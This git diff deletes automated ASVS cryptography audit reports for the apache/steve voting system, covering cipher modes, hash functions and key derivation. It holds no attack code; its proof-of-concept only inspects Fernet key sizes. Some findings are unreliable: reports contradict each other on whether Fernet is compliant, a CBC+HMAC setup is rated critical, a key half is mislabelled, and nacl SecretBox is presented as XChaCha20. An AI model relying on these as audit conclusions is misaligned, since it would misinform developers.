-## Security Controls Inventory
-
-| Control | Location | Purpose | Coverage Status |
-|---------|----------|---------|-----------------|
-| Symmetric encryption via Fernet (AES-128-CBC + HMAC-SHA256) | `crypto.py:create_vote()` (L~75), `crypto.py:decrypt_votestring()` (L~83) | Vote encryption/decryption | ✅ All vote encryption/decryption paths covered |
-| Key derivation via HKDF-SHA256 | `crypto.py:_b64_vote_key()` (L~60) | Fernet key generation | ✅ All Fernet key generation paths covered |
-| Hashing via Argon2 | `crypto.py:_hash()` (L~91) | Password/token hashing | ✅ `gen_opened_key()`, `gen_vote_token()` covered |
-| BLAKE2b pre-hashing | `crypto.py:gen_opened_key()` (L~40) | Election data hashing | ✅ Election data hashing path covered |
-| No RSA or asymmetric encryption | Entire codebase | N/A | ✅ PKCS#1 v1.5 cannot occur |
-
-### Coverage Analysis
-
-All encryption entry points flow through a single code path:
-
-```
-election.py:add_vote() → crypto.create_vote() → Fernet.encrypt()
-election.py:tally_issue() → crypto.decrypt_votestring() → Fernet.decrypt()
-```
-
-**No alternative encryption paths exist.** There are no raw AES calls, no manual CBC/ECB construction, and no RSA operations anywhere in the codebase.
-
----
-
-## Critical File Review
-
-### `v3/steve/crypto.py`
-
-| Line(s) | Function | Block Mode | Padding | Authenticated | Status |
-|---------|----------|-----------|---------|--------------|--------|
-| ~75 | `create_vote()` | CBC (via Fernet) | PKCS7 (via Fernet) | Yes (HMAC-SHA256 Encrypt-then-MAC) | **✅ PASS** |
-| ~83 | `decrypt_votestring()` | CBC (via Fernet) | PKCS7 (via Fernet) | Yes (HMAC verified before decrypt) | **✅ PASS** |
-
-**Security-Sensitive Functions Reviewed:**
-- `create_vote()` — Vote encryption entry point
-- `decrypt_votestring()` — Vote decryption entry point
-- `_b64_vote_key()` — Key derivation for Fernet
-- `_hash()` — Argon2 hashing
-- `gen_opened_key()` — Election key generation
-- `gen_vote_token()` — Vote token generation
-
-### `v3/schema.sql`
-
-| Column | Table | Content | Status |
-|--------|-------|---------|--------|
-| `ciphertext` | `vote` | Fernet ciphertext (includes version, timestamp, IV, ciphertext, HMAC) | **✅ PASS** — stored as opaque BLOB |
-| `opened_key` | `election` | Argon2 hash output (not encrypted) | N/A |
-| `vote_token` | `vote` | Argon2 hash output (not encrypted) | N/A |
-
-### `v3/steve/election.py`
-
-**Security-Sensitive Functions Reviewed:**
-- `add_vote()` — Vote submission handler (calls `crypto.create_vote()`)
-- `tally_issue()` — Vote decryption handler (calls `crypto.decrypt_votestring()`)
-
-### `v3/server/config.yaml.example`
-
-**Configuration Review:** No cryptographic algorithm configuration exposed. All cryptographic choices are hardcoded in `crypto.py`.
-
----
-
-## Findings
-
-### ✅ No Findings
-
-**No CRITICAL, HIGH, MEDIUM, or LOW findings identified for ASVS 11.3.1.**
-
-The codebase does not use ECB mode or PKCS#1 v1.5 padding. The sole encryption mechanism (Fernet) provides authenticated encryption via AES-128-CBC with HMAC-SHA256, which is a secure construction that prevents the padding oracle attacks associated with unauthenticated CBC mode.
-
----
-
-## Positive Security Patterns
-
-1. **No ECB mode anywhere.** The only block cipher usage is through Fernet, which enforces CBC mode internally. There are no raw `Cipher` or `AES` instantiations that could accidentally use ECB.
-
-2. **No PKCS#1 v1.5 padding.** No RSA or asymmetric encryption exists in the codebase, eliminating any possibility of PKCS#1 v1.5 usage. The PKCS7 padding used by Fernet's CBC is a symmetric block padding scheme (not the weak RSA padding scheme cited in ASVS 11.3.1).
-
-3. **Authenticated encryption.** Fernet implements Encrypt-then-MAC (HMAC-SHA256 computed over ciphertext), which is verified before decryption. This prevents padding oracle attacks that could compromise unauthenticated CBC:
- ```python
- # crypto.py L~75-78
- f = cryptography.fernet.Fernet(b64key)
- return f.encrypt(votestring.encode()) # Internally: AES-128-CBC + HMAC-SHA256
- ```
-
-4. **Single encryption library.** All cryptographic operations use the well-audited `cryptography` library, reducing the risk of custom insecure implementations.
-
-5. **CSPRNG for all randomness.** Salt generation uses `secrets.token_bytes()`, and IDs use `secrets.token_hex()`.
-
-6. **Strong key derivation chain.** The vote encryption key derivation path is:
- ```
- election_data → BLAKE2b → Argon2d(salt) → opened_key
- opened_key + pid + iid → Argon2d(voter_salt) → vote_token
- vote_token → HKDF-SHA256(voter_salt) → Fernet key
- ```
-
----
-
-## Architecture Observations
-
-1. **Planned migration to XChaCha20-Poly1305.** Comments in `_b64_vote_key()` and the HKDF `info=b'xchacha20_key'` parameter indicate a planned migration from Fernet to XChaCha20-Poly1305 (a native AEAD cipher). This would eliminate the CBC+HMAC construction entirely. The current HKDF `info` label is misleading but does not weaken security — it's a domain separation string that affects the derived key value but not its cryptographic strength.
-
-2. **Fernet enforces AES-128 (not AES-256).** Fernet splits its 32-byte key into 16 bytes for AES-128-CBC and 16 bytes for HMAC-SHA256. AES-128 meets minimum security requirements but provides a lower security margin than AES-256. This is a design consideration but not a violation of ASVS 11.3.1 (which concerns block modes and padding schemes, not key sizes).
-
-3. **Argon2d vs Argon2id inconsistency.** The production `_hash()` function uses `Type.D` (Argon2d) while the `benchmark_argon2()` function uses `Type.ID` (Argon2id). Argon2id is the OWASP-recommended variant. This is not related to ASVS 11.3.1 (block modes/padding) but is noted for completeness.
-
----
-
-## Recommendations Summary
-
-While no findings were identified for this specific requirement, the following improvements would strengthen the cryptographic posture:
-
-### Immediate Actions
-- None required for ASVS 11.3.1 compliance.
-
-### Short-term Improvements
-1. **Align HKDF `info` parameter with actual algorithm.** Change `info=b'xchacha20_key'` to `info=b'fernet_key'` (or similar) in `crypto.py:_b64_vote_key()` until the migration is complete, to prevent confusion during future audits.
-
-2. **Standardize on Argon2id** in the `_hash()` function to align with OWASP recommendations and the benchmark function's own usage.
-
-### Long-term Strategic Initiatives
-1. **Complete the planned migration to XChaCha20-Poly1305** (referenced in code comments). This would move from CBC+HMAC composite authentication to a native AEAD construction, reducing implementation complexity and eliminating any future debate about CBC acceptability.
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-1. **`v3/steve/crypto.py`** (relevance: 10/10)
- - Primary cryptographic implementation file
- - Contains all encryption/decryption functions
- - Key derivation and hashing implementations
-
-2. **`v3/steve/election.py`** (relevance: 10/10)
- - Vote submission and tallying logic
- - Calls cryptographic functions from `crypto.py`
-
-3. **`v3/schema.sql`** (relevance: 10/10)
- - Database schema defining storage of encrypted data
- - Ciphertext and cryptographic hash storage
-
-4. **`v3/server/config.yaml.example`** (relevance: 10/10)
- - Configuration file reviewed for cryptographic settings
- - No algorithm configuration exposed
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.3.2.md b/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.3.2.md
deleted file mode 100644
index 613fdcf..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.3.2.md
+++ /dev/null
@@ -1,277 +0,0 @@
-# ASVS 11.3.2 Security Audit Report
-
-**Requirement:** Verify that only approved ciphers and modes such as AES with GCM are used.
-
----
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 11.3.2 — Verify that only approved ciphers and modes such as AES with GCM are used.
- - **Level:** 1
- - **Section:** Encryption Algorithms
- - **Section Description:** Authenticated encryption algorithms built on AES and CHACHA20 form the backbone of modern cryptographic practice.
- - **Chapter:** Cryptography
- - **Control Objective:** The objective of this chapter is to define best practices for the general use of cryptography, as well as to instill a fundamental understanding of cryptographic principles
-- **Files analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
----
-
-## Security Controls Inventory
-
-| Control | Defined | Location | Applied | Coverage |
-|---------|---------|----------|---------|----------|
-| Vote encryption (Fernet/AES-128-CBC+HMAC) | `crypto.py:create_vote()` L77 | Vote storage | `election.py:add_vote()` L236 | All vote writes |
-| Vote decryption (Fernet/AES-128-CBC+HMAC) | `crypto.py:decrypt_votestring()` L84 | Vote tallying | `election.py:tally_issue()` L271 | All vote reads |
-| Key derivation (HKDF-SHA256 for XChaCha20) | `crypto.py:_b64_vote_key()` L63 | Key stretching | `create_vote()`, `decrypt_votestring()` | All encrypt/decrypt |
-| Argon2 hashing (Type.D) | `crypto.py:_hash()` L91 | Token/key generation | `gen_opened_key()`, `gen_vote_token()` | All key generation |
-| CSPRNG (secrets module) | `crypto.py:gen_salt()` L40 | Salt generation | `election.py:add_salts()`, `election.py:open()` | All salt generation |
-
----
-
-## Critical File Review
-
-### `v3/steve/crypto.py` — Core Cryptographic Operations
-
-| Line(s) | Function | Cipher/Mode Used | ASVS 11.3.2 Approved? | Gap Type |
-|----------|----------|-----------------|----------------------|----------|
-| 63-75 | `_b64_vote_key()` | HKDF-SHA256, info=`b'xchacha20_key'` | HKDF: Yes | — |
-| 77-80 | `create_vote()` | Fernet (AES-128-CBC + HMAC-SHA256) | **NO — CBC not approved AEAD mode** | **Type B** |
-| 84-88 | `decrypt_votestring()` | Fernet (AES-128-CBC + HMAC-SHA256) | **NO — CBC not approved AEAD mode** | **Type B** |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1132-CRITICAL-001 — AES-128-CBC (Fernet) Used Instead of Approved AEAD Cipher; Incomplete Migration to XChaCha20-Poly1305
-
-**Severity:** CRITICAL
-**Gap Type:** Type B — Control EXISTS (HKDF configured for XChaCha20-Poly1305) but NOT APPLIED (Fernet/AES-128-CBC used for actual encryption)
-
-**Location:**
-- **File:** `v3/steve/crypto.py`
-- **Functions:** `_b64_vote_key()` (line 63), `create_vote()` (line 77), `decrypt_votestring()` (line 84)
-- **Related Functions Checked:** `election.py:add_vote()` L236, `election.py:tally_issue()` L271
-
-**Description:**
-
-The application uses Fernet (AES-128-CBC + HMAC-SHA256) for vote encryption instead of an approved AEAD cipher mode such as AES-GCM or XChaCha20-Poly1305. Evidence shows an incomplete migration: the HKDF key derivation is explicitly configured for XChaCha20-Poly1305 (with `info=b'xchacha20_key'` and 32-byte key length), but the actual encryption/decryption operations still use Fernet's AES-128-CBC mode.
-
-**Vulnerable Code:**
-
-Key derivation is explicitly configured for XChaCha20-Poly1305:
-```python
-# Line 63-75 — _b64_vote_key()
-### still using Fernet now, but will switch soon. Leaving comments.
-keymaker = hkdf.HKDF(
- algorithm=hashes.SHA256(),
- length=32, # 32-byte key for XChaCha20-Poly1305
- salt=salt,
- info=b'xchacha20_key', # <-- context label references XChaCha20
-)
-vote_key = keymaker.derive(vote_token)
-return base64.urlsafe_b64encode(vote_key)
-```
-
-But actual encryption uses Fernet (AES-128-CBC):
-```python
-# Line 77-80 — create_vote()
-def create_vote(vote_token: bytes, salt: bytes, votestring: str) -> bytes:
- b64key = _b64_vote_key(vote_token, salt)
- f = cryptography.fernet.Fernet(b64key) # <-- AES-128-CBC + HMAC-SHA256
- return f.encrypt(votestring.encode())
-
-# Line 84-88 — decrypt_votestring()
-def decrypt_votestring(vote_token: bytes, salt: bytes, ciphertext: bytes) -> str:
- b64key = _b64_vote_key(vote_token, salt)
- f = cryptography.fernet.Fernet(b64key) # <-- AES-128-CBC + HMAC-SHA256
- return f.decrypt(ciphertext).decode()
-```
-
-**Data Flow:**
-```
-vote_token + salt
- → HKDF-SHA256 (info=b'xchacha20_key', length=32) ← configured for XChaCha20-Poly1305
- → base64 encode (44 chars)
- → Fernet(key) ← actually uses AES-128-CBC + HMAC-SHA256
- → f.encrypt(votestring) ← CBC mode, not approved AEAD
- → ciphertext stored in vote.ciphertext
-```
-
-**Why This Violates ASVS 11.3.2:**
-
-1. **Unapproved cipher mode:** Fernet uses AES-128-**CBC**, not AES-**GCM** or another approved AEAD mode. The ASVS section description states: *"Authenticated encryption algorithms built on AES and CHACHA20 form the backbone of modern cryptographic practice"* — referring to native AEAD constructions (GCM, CCM, ChaCha20-Poly1305), not composite encrypt-then-MAC schemes.
-
-2. **AES-128 key size:** Fernet splits its 32-byte key into 16 bytes for HMAC-SHA256 signing and 16 bytes for AES-128 encryption. The HKDF derives 32 bytes intended for XChaCha20-Poly1305 (which uses the full 32 bytes), but Fernet only uses 128 bits for the encryption key.
-
-3. **Type B gap (false confidence):** The HKDF `info` parameter (`b'xchacha20_key'`) and the `length=32` comment both reference XChaCha20-Poly1305 as the intended cipher. The control for an approved algorithm was designed and partially implemented, but the actual encryption call was never updated. A reviewer examining only `_b64_vote_key()` would conclude XChaCha20-Poly1305 is in use.
-
-4. **CBC mode risks:** While Fernet's encrypt-then-MAC construction mitigates classic padding oracle attacks, CBC mode remains vulnerable to implementation-level side channels. AEAD modes like GCM provide authentication intrinsically within the mode, reducing the attack surface.
-
-**Proof of Concept:**
-
-The vulnerability is demonstrable by inspecting the cipher construction:
-```python
-from cryptography.fernet import Fernet
-import base64
-
-# Fernet key (32 bytes, base64-encoded)
-key = Fernet.generate_key()
-raw = base64.urlsafe_b64decode(key)
-print(f"Total key: {len(raw)} bytes")
-print(f"Signing key (HMAC): {len(raw[:16])} bytes = AES-128 NOT AES-256")
-print(f"Encryption key (AES-CBC): {len(raw[16:])} bytes = 128-bit")
-
-# Encrypted output contains CBC IV, not GCM nonce/tag
-f = Fernet(key)
-token = f.encrypt(b"vote:yes")
-decoded = base64.urlsafe_b64decode(token)
-# Fernet format: version(1) || timestamp(8) || IV(16) || ciphertext(n) || HMAC(32)
-print(f"Mode: AES-128-CBC (IV present at bytes 9-24, separate HMAC at end)")
-```
-
-**Impact:**
-- All vote ciphertext stored in the `vote` table uses an unapproved cipher mode
-- The effective encryption strength is AES-128 (not AES-256), below modern recommendations for high-sensitivity data
-- The HKDF key derivation context (`info=b'xchacha20_key'`) creates a cryptographic binding to the wrong algorithm, which could complicate future migration or cause interoperability issues
-- A voting system protecting ballot secrecy should use the strongest approved primitives available
-
-**Remediation:**
-
-Complete the migration indicated by the code comments. Replace Fernet with XChaCha20-Poly1305 (as the HKDF is already configured for):
-
-```python
-from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
-# or for XChaCha20: use a library like pynacl
-import nacl.secret
-import nacl.utils
-
-def _derive_vote_key(vote_token: bytes, salt: bytes) -> bytes:
- """Derive a 32-byte key for XChaCha20-Poly1305."""
- keymaker = hkdf.HKDF(
- algorithm=hashes.SHA256(),
- length=32,
- salt=salt,
- info=b'xchacha20_key',
- )
- return keymaker.derive(vote_token)
-
-def create_vote(vote_token: bytes, salt: bytes, votestring: str) -> bytes:
- """Encrypt VOTESTRING using XChaCha20-Poly1305."""
- key = _derive_vote_key(vote_token, salt)
- box = nacl.secret.SecretBox(key)
- return box.encrypt(votestring.encode()) # nonce auto-generated
-
-def decrypt_votestring(vote_token: bytes, salt: bytes, ciphertext: bytes) -> str:
- """Decrypt CIPHERTEXT using XChaCha20-Poly1305."""
- key = _derive_vote_key(vote_token, salt)
- box = nacl.secret.SecretBox(key)
- return box.decrypt(ciphertext).decode()
-```
-
-Alternatively, using AES-256-GCM from the `cryptography` library:
-
-```python
-from cryptography.hazmat.primitives.ciphers.aead import AESGCM
-import os
-
-def _derive_vote_key(vote_token: bytes, salt: bytes) -> bytes:
- keymaker = hkdf.HKDF(
- algorithm=hashes.SHA256(),
- length=32, # 256-bit key for AES-256-GCM
- salt=salt,
- info=b'aesgcm_vote_key',
- )
- return keymaker.derive(vote_token)
-
-def create_vote(vote_token: bytes, salt: bytes, votestring: str) -> bytes:
- key = _derive_vote_key(vote_token, salt)
- aesgcm = AESGCM(key)
- nonce = os.urandom(12) # 96-bit nonce for GCM
- ct = aesgcm.encrypt(nonce, votestring.encode(), None)
- return nonce + ct # prepend nonce for decryption
-
-def decrypt_votestring(vote_token: bytes, salt: bytes, ciphertext: bytes) -> str:
- key = _derive_vote_key(vote_token, salt)
- aesgcm = AESGCM(key)
- nonce, ct = ciphertext[:12], ciphertext[12:]
- return aesgcm.decrypt(nonce, ct, None).decode()
-```
-
-**Note:** Migration requires a re-encryption strategy for existing vote data or a version-aware decryption path.
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| HKDF-SHA256 for key stretching | `crypto.py:_b64_vote_key()` L63 | Correctly applied with salt and context |
-| Argon2 for memory-hard hashing | `crypto.py:_hash()` L91 | Appropriate parameters (64MB, time=2, parallelism=4) |
-| `secrets` module for CSPRNG | `crypto.py:gen_salt()` L40, `create_id()` L119, `shuffle()` L104 | All randomness uses cryptographically secure source |
-| BLAKE2b for pre-hashing large inputs | `crypto.py:gen_opened_key()` L44 | Appropriate for reducing Argon2 input size |
-| Cryptographic shuffle for vote ordering | `crypto.py:shuffle()` L104 | Fisher-Yates with `secrets.randbelow()` prevents ordering leaks |
-| Salt length enforcement in schema | `schema.sql` L79, L173 | `CHECK (length(salt) = 16)` ensures consistent salt sizes |
-| Sensitive field exclusion from metadata API | `election.py:get_metadata()` L148 | `salt` and `opened_key` deliberately excluded from return |
-| Tamper detection via `opened_key` recomputation | `election.py:is_tampered()` L282 | Election data integrity verified before tallying |
-
----
-
-## Architecture Observations
-
-1. **Incomplete cryptographic migration:** The codebase shows clear evidence of a planned migration from Fernet to XChaCha20-Poly1305 (comment on line 65, HKDF parameters). The migration was started in the key derivation layer but never completed in the encryption/decryption layer.
-
-2. **Argon2d vs Argon2id inconsistency:** The production `_hash()` function uses `Type.D` (Argon2d), while the `benchmark_argon2()` function uses `Type.ID` (Argon2id). Argon2id is the OWASP-recommended variant combining side-channel resistance with GPU resistance. While not an encryption cipher/mode issue per se (and thus not a finding under 11.3.2 at CRITICAL), this should be addressed alongside the cipher migration.
-
-3. **Well-structured key derivation chain:** The multi-layer derivation (election data → BLAKE2b → Argon2 → opened_key → Argon2 → vote_token → HKDF → vote_key) provides strong cryptographic isolation between elections, issues, and voters.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Critical Priority)
-
-| Priority | Action | Rationale |
-|----------|--------|-----------|
-| **1 (CRITICAL)** | Complete migration from Fernet to XChaCha20-Poly1305 or AES-256-GCM | Directly resolves ASVS 11.3.2 violation; key derivation already prepared |
-
-### Short-term Actions
-
-| Priority | Action | Rationale |
-|----------|--------|-----------|
-| **2** | Update HKDF `info` parameter to match the chosen AEAD cipher | Ensures key derivation context accurately reflects the cipher in use |
-| **3** | Consider switching Argon2d to Argon2id in `_hash()` | Aligns with OWASP recommendation; benchmark already uses Argon2id |
-
-### Long-term Actions
-
-| Priority | Action | Rationale |
-|----------|--------|-----------|
-| **4** | Implement versioned ciphertext format | Enables future algorithm rotation without data loss |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-- `v3/schema.sql` (relevance: 10)
-- `v3/server/config.yaml.example` (relevance: 10)
-- `v3/steve/crypto.py` (relevance: 10)
-- `v3/steve/election.py` (relevance: 10)
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.4.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.4.1.md
deleted file mode 100644
index e317f5a..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.4.1.md
+++ /dev/null
@@ -1,199 +0,0 @@
-# ASVS 11.4.1 Security Audit Report: Hash Function Usage
-
-## Executive Summary
-
-**Audit Metadata**
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 11.4.1 — Verify that only approved hash functions are used for general cryptographic use cases, including digital signatures, HMAC, KDF, and random bit generation. Disallowed hash functions, such as MD5, must not be used for any cryptographic purpose.
- - **Level:** 1
- - **Section:** Hashing and Hash-based Functions
- - **Chapter:** Cryptography
-- **Files Analyzed:** 4 relevant out of 4 total, 0 skipped
-
-**Finding Summary**
-
-| Severity | Count | Description |
-|----------|-------|-------------|
-| 🔴 Critical | 0 | No disallowed hash functions in use |
-| 🟠 High | 0 | - |
-| 🟡 Medium | 0 | - |
-| 🔵 Low | 0 | - |
-| **Total** | **0** | **ASVS 11.4.1 Compliance: PASS** |
-
-**Key Results:** After thorough analysis of all cryptographic hash function usage across the codebase, **no findings** were identified for ASVS 11.4.1. No disallowed hash functions (MD5, SHA-1, etc.) are used anywhere in the codebase. All cryptographic operations use approved hash function families (BLAKE2b, SHA-256, Argon2).
-
----
-
-## Security Controls Inventory
-
-### Hash Functions Used in Production Code
-
-| Hash Function | Location | Use Case | Approved? | Coverage |
-|---------------|----------|----------|-----------|----------|
-| BLAKE2b | `crypto.py:45` (`gen_opened_key`) | Pre-hashing election data before Argon2 | ✅ Yes | Complete |
-| SHA-256 (via HKDF) | `crypto.py:60-66` (`_b64_vote_key`) | Key stretching for vote encryption | ✅ Yes | Complete |
-| SHA-256 (via Fernet HMAC) | `crypto.py:72-74` (`create_vote`) | HMAC authentication of ciphertexts | ✅ Yes | Complete |
-| Argon2 | `crypto.py:86-95` (`_hash`) | KDF for opened_key and vote_token generation | ✅ Yes | Complete |
-
-### Coverage Analysis — All Entry Points Using Hash Functions
-
-| Entry Point | Function Call Chain | Hash Function Applied | Verified |
-|-------------|---------------------|----------------------|----------|
-| Election opening | `Election.open()` → `gen_opened_key()` → `blake2b()` + `_hash()` | BLAKE2b + Argon2 | ✅ |
-| Tamper detection | `Election.is_tampered()` → `gen_opened_key()` → `blake2b()` + `_hash()` | BLAKE2b + Argon2 | ✅ |
-| Vote submission | `Election.add_vote()` → `gen_vote_token()` → `_hash()` | Argon2 | ✅ |
-| Vote submission (encrypt) | `Election.add_vote()` → `create_vote()` → `_b64_vote_key()` → `HKDF` | SHA-256 | ✅ |
-| Vote tallying (token) | `Election.tally_issue()` → `gen_vote_token()` → `_hash()` | Argon2 | ✅ |
-| Vote tallying (decrypt) | `Election.tally_issue()` → `decrypt_votestring()` → `_b64_vote_key()` → `HKDF` | SHA-256 | ✅ |
-| Vote status check | `Election.has_voted_upon()` → `gen_vote_token()` → `_hash()` | Argon2 | ✅ |
-
-**Coverage Status:** ✅ Complete — No gaps identified. Every entry point that should use an approved hash function does so.
-
----
-
-## Critical File Review
-
-### `v3/steve/crypto.py` — Central Cryptographic Module
-
-| Line(s) | Function | Hash Algorithm | Purpose | Status |
-|---------|----------|----------------|---------|--------|
-| 35-37 | `gen_salt()` | N/A (CSPRNG) | Salt generation via `secrets.token_bytes` | ✅ Approved |
-| 40-49 | `gen_opened_key()` | BLAKE2b + Argon2 | Election integrity key | ✅ Approved |
-| 52-55 | `gen_vote_token()` | Argon2 | Per-voter-issue token | ✅ Approved |
-| 57-68 | `_b64_vote_key()` | HKDF-SHA256 | Vote encryption key derivation | ✅ Approved |
-| 71-75 | `create_vote()` | Fernet (AES-128-CBC + HMAC-SHA256) | Vote encryption | ✅ Approved |
-| 78-83 | `decrypt_votestring()` | Fernet (AES-128-CBC + HMAC-SHA256) | Vote decryption | ✅ Approved |
-| 86-95 | `_hash()` | Argon2 (Type.D) | Core KDF primitive | ✅ Approved family |
-| 115-117 | `create_id()` | N/A (CSPRNG) | ID generation via `secrets.token_hex` | ✅ Approved |
-
-### `v3/steve/election.py` — Election Logic (Consumer of crypto.py)
-
-| Line(s) | Method | Crypto Delegation | Hash Functions Used | Verified |
-|---------|--------|-------------------|---------------------|----------|
-| N/A | `open()` | `crypto.gen_salt()`, `crypto.gen_opened_key()` | BLAKE2b, Argon2 | ✅ |
-| N/A | `add_salts()` | `crypto.gen_salt()` | N/A (CSPRNG only) | ✅ |
-| N/A | `add_vote()` | `crypto.gen_vote_token()`, `crypto.create_vote()` | Argon2, SHA-256 | ✅ |
-| N/A | `tally_issue()` | `crypto.gen_vote_token()`, `crypto.decrypt_votestring()` | Argon2, SHA-256 | ✅ |
-| N/A | `has_voted_upon()` | `crypto.gen_vote_token()` | Argon2 | ✅ |
-| N/A | `is_tampered()` | `crypto.gen_opened_key()` | BLAKE2b, Argon2 | ✅ |
-| N/A | `create()` / `add_issue()` | `crypto.create_id()` | N/A (CSPRNG only) | ✅ |
-
----
-
-## Findings
-
-**No findings identified.** All cryptographic hash function usage complies with ASVS 11.4.1 requirements.
-
----
-
-## Positive Security Patterns
-
-### 1. **Exclusive Use of Approved Hash Functions**
-The codebase does not import or use MD5, SHA-1, or any other deprecated hash function. The only `hashlib` usage is for BLAKE2b (line 3 of `crypto.py`: `import hashlib # for blake2b`).
-
-### 2. **Approved HMAC Construction**
-HMAC is handled internally by Fernet using HMAC-SHA256 — no custom HMAC implementations with weak hash functions.
-
-### 3. **Robust KDF Chain**
-The key derivation hierarchy uses strong primitives throughout:
-- **Argon2** for computationally-expensive derivation (opened_key, vote_token)
-- **HKDF-SHA256** for fast key stretching from already-strong keying material (vote_key)
-
-### 4. **Cryptographic Randomness**
-All random generation uses Python's `secrets` module (`token_bytes`, `token_hex`, `randbelow`) — no use of the insecure `random` module for cryptographic purposes.
-
-### 5. **BLAKE2b for Pre-hashing**
-Using BLAKE2b to reduce large inputs before Argon2 is a sound design choice. BLAKE2b is standardized in RFC 7693 and is Argon2's internal primitive.
-
-### 6. **Centralized Hash Function Management**
-All Argon2 operations go through a single `_hash()` function at `crypto.py:86-95`, making it easy to audit and update hash parameters system-wide.
-
----
-
-## Architecture Observations
-
-### Key Derivation Hierarchy (All Approved Functions)
-
-```
-Election Data
- │
- ├── BLAKE2b (pre-hash to 64 bytes)
- │ │
- │ └── Argon2 + election.salt → opened_key (32 bytes)
- │ │
- │ └── Argon2 + mayvote.salt → vote_token (32 bytes)
- │ │
- │ └── HKDF-SHA256 + mayvote.salt → vote_key (32 bytes)
- │ │
- │ └── Fernet (AES-128-CBC + HMAC-SHA256)
- │ │
- │ └── Encrypted Vote (ciphertext)
-```
-
-**Analysis:** Every node in this chain uses an approved hash function or KDF. The architecture demonstrates defense-in-depth with multiple layers of cryptographic protection.
-
-### Notable Design Decision: Argon2 Variant Selection
-
-The production `_hash()` function at `crypto.py:93` uses `argon2.low_level.Type.D` (Argon2d), while the benchmark function at `crypto.py:140` uses `argon2.low_level.Type.ID` (Argon2id).
-
-**Context:** RFC 9106 and OWASP recommend Argon2id as the default choice. Argon2d is resistant to GPU attacks but vulnerable to side-channel timing attacks. In a server-side deployment where co-located attackers are unlikely, this is mitigated but still inconsistent with best practice.
-
-**Assessment:** This does not constitute a finding under ASVS 11.4.1 because Argon2d remains within the Argon2 approved family and the side-channel attack vector requires local process access. However, it represents a deviation from current best practices.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions
-None required — ASVS 11.4.1 compliance achieved.
-
-### Short-term Improvements (Optional)
-1. **Update Argon2 Variant:** Change `crypto.py:93` from `type=argon2.low_level.Type.D` to `type=argon2.low_level.Type.ID` to align with RFC 9106 recommendations and eliminate the inconsistency with the benchmark function. This provides additional protection against side-channel attacks in shared hosting environments.
-
-### Long-term Enhancements (Optional)
-1. **Update HKDF Info Parameter:** Update the HKDF `info` parameter from `b'xchacha20_key'` to `b'fernet_key'` to accurately reflect the current encryption scheme, or defer until the planned XChaCha20-Poly1305 migration occurs.
-
-2. **Document Hash Function Selection:** Add inline documentation explaining the rationale for each hash function choice to assist future security audits and cryptographic reviews.
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-1. **`v3/schema.sql`** (relevance: 10)
- - Database schema definition
- - Reviewed for hash function storage requirements
-
-2. **`v3/server/config.yaml.example`** (relevance: 10)
- - Configuration template
- - Reviewed for hash function configuration options
-
-3. **`v3/steve/crypto.py`** (relevance: 10)
- - Central cryptographic module
- - Contains all hash function implementations
- - Lines reviewed: 3, 35-37, 40-49, 52-55, 57-68, 71-75, 78-83, 86-95, 115-117, 140
-
-4. **`v3/steve/election.py`** (relevance: 10)
- - Election business logic
- - Consumer of cryptographic functions
- - All methods delegating to crypto.py reviewed
-
-</details>
-
----
-
-## Conclusion
-
-**ASVS 11.4.1 Compliance Status: ✅ PASS**
-
-The apache/steve codebase demonstrates exemplary compliance with ASVS 11.4.1 requirements. The codebase exclusively uses approved hash functions (BLAKE2b, SHA-256 via HKDF and Fernet, Argon2) for all cryptographic operations. No disallowed hash functions (MD5, SHA-1, etc.) are present in the code.
-
-The cryptographic module is well-centralized in `crypto.py`, making hash function usage auditable and maintainable. The key derivation hierarchy is properly constructed with appropriate primitives for each use case. All random generation uses cryptographically secure sources.
-
-While the Argon2 variant selection (Type.D vs. Type.ID) represents a minor deviation from current best practices, it does not constitute a compliance violation as Argon2d remains within the approved Argon2 family.
-
-**No critical, high, medium, or low severity findings were identified.**
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.2.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.2.1.md
deleted file mode 100644
index 2cc2b43..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.2.1.md
+++ /dev/null
@@ -1,455 +0,0 @@
-# ASVS 1.2.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 1.2.1 — Verify that output encoding for an HTTP response, HTML document, or XML document is relevant for the context required, such as encoding the relevant characters for HTML elements, HTML attributes, HTML comments, CSS, or HTTP header fields, to avoid changing the message or document structure.
-- **Files analyzed:** 20 relevant out of 20 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 4 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **4** |
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Type | Purpose | Coverage Status |
